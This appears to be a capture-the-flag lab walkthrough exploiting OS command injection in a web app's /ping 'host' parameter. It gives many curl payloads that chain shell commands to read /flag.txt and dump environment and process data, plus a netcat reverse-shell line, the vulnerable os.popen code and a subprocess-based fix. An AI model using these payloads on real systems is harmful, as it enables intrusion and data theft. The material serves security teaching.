Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
<target-ip>:80
to read the challenge description and understand the objectives.nmap -p 1-10000 <target-ip>
curl http://<target-ip>:8080/
curl "http://<target-ip>:8080/ping?host=google.com"
host
parameter that appears to be passed directly to a ping command.curl http://<target-ip>:8080/health
curl "http://<target-ip>:8080/ping?host=google.com;whoami"
whoami
command.# Using logical AND operator
curl "http://<target-ip>:8080/ping?host=google.com&&id"
# Using logical OR operator
curl "http://<target-ip>:8080/ping?host=invalidhost||whoami"
# Using backticks for command substitution
curl "http://<target-ip>:8080/ping?host=\`whoami\`"
# Using $() for command substitution
curl "http://<target-ip>:8080/ping?host=\$(id)"
# Check current user and groups
curl "http://<target-ip>:8080/ping?host=google.com;id"
# List current directory contents
curl "http://<target-ip>:8080/ping?host=google.com;ls -la"
# Check root directory contents
curl "http://<target-ip>:8080/ping?host=google.com;ls -la /"
# Check working directory
curl "http://<target-ip>:8080/ping?host=google.com;pwd"
# Search for files containing 'flag'
curl "http://<target-ip>:8080/ping?host=google.com;find / -name '*flag*' 2>/dev/null"
# Check for flag.txt in root directory
curl "http://<target-ip>:8080/ping?host=google.com;ls -la /flag.txt"
# Search in common CTF flag locations
curl "http://<target-ip>:8080/ping?host=google.com;find /home /root /tmp -name 'flag*' 2>/dev/null"
/flag.txt
, extract its contents:curl "http://<target-ip>:8080/ping?host=google.com;cat /flag.txt"
cat
doesn't work, try alternative approaches:# Using head command
curl "http://<target-ip>:8080/ping?host=google.com;head /flag.txt"
# Using tail command
curl "http://<target-ip>:8080/ping?host=google.com;tail /flag.txt"
# Using more command
curl "http://<target-ip>:8080/ping?host=google.com;more /flag.txt"
# Using xxd for hex dump
curl "http://<target-ip>:8080/ping?host=google.com;xxd /flag.txt"
2d14fec8-29c6-4f8d-9fbc-5ce16aceb252
# URL encoded semicolon (%3B) and space (%20)
curl "http://<target-ip>:8080/ping?host=google.com%3Bcat%20/flag.txt"
# URL encoded ampersand (%26)
curl "http://<target-ip>:8080/ping?host=google.com%26%26cat%20/flag.txt"
# Display all environment variables
curl "http://<target-ip>:8080/ping?host=google.com;env"
# Check specific variables
curl "http://<target-ip>:8080/ping?host=google.com;echo \$HOME"
curl "http://<target-ip>:8080/ping?host=google.com;echo \$PATH"
# List running processes
curl "http://<target-ip>:8080/ping?host=google.com;ps aux"
# Check network connections
curl "http://<target-ip>:8080/ping?host=google.com;netstat -an"
# Check system information
curl "http://<target-ip>:8080/ping?host=google.com;uname -a"
os.popen()
function with user-controlled input without proper sanitization.# Vulnerable implementation
command = f"ping -c 1 {host}"
result = os.popen(command).read()
host
parameter, attackers can append additional commands that get executed by the shell.# Python one-liner to read flag
curl "http://<target-ip>:8080/ping?host=google.com;python3 -c 'print(open("/flag.txt").read().strip())'"
# Base64 encode the flag
curl "http://<target-ip>:8080/ping?host=google.com;cat /flag.txt | base64"
# Decode locally
echo "" | base64 -d
# Simple reverse shell (replace with your IP and port)
curl "http://<target-ip>:8080/ping?host=google.com;nc -e /bin/sh"
# Secure implementation
import subprocess
import re
# Validate input - only allow valid hostnames/IPs
if re.match(r'^[a-zA-Z0-9.-]+$', host):
result = subprocess.run(['ping', '-c', '1', host],
capture_output=True, text=True, timeout=10)
return result.stdout
else:
return "Invalid host format"
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.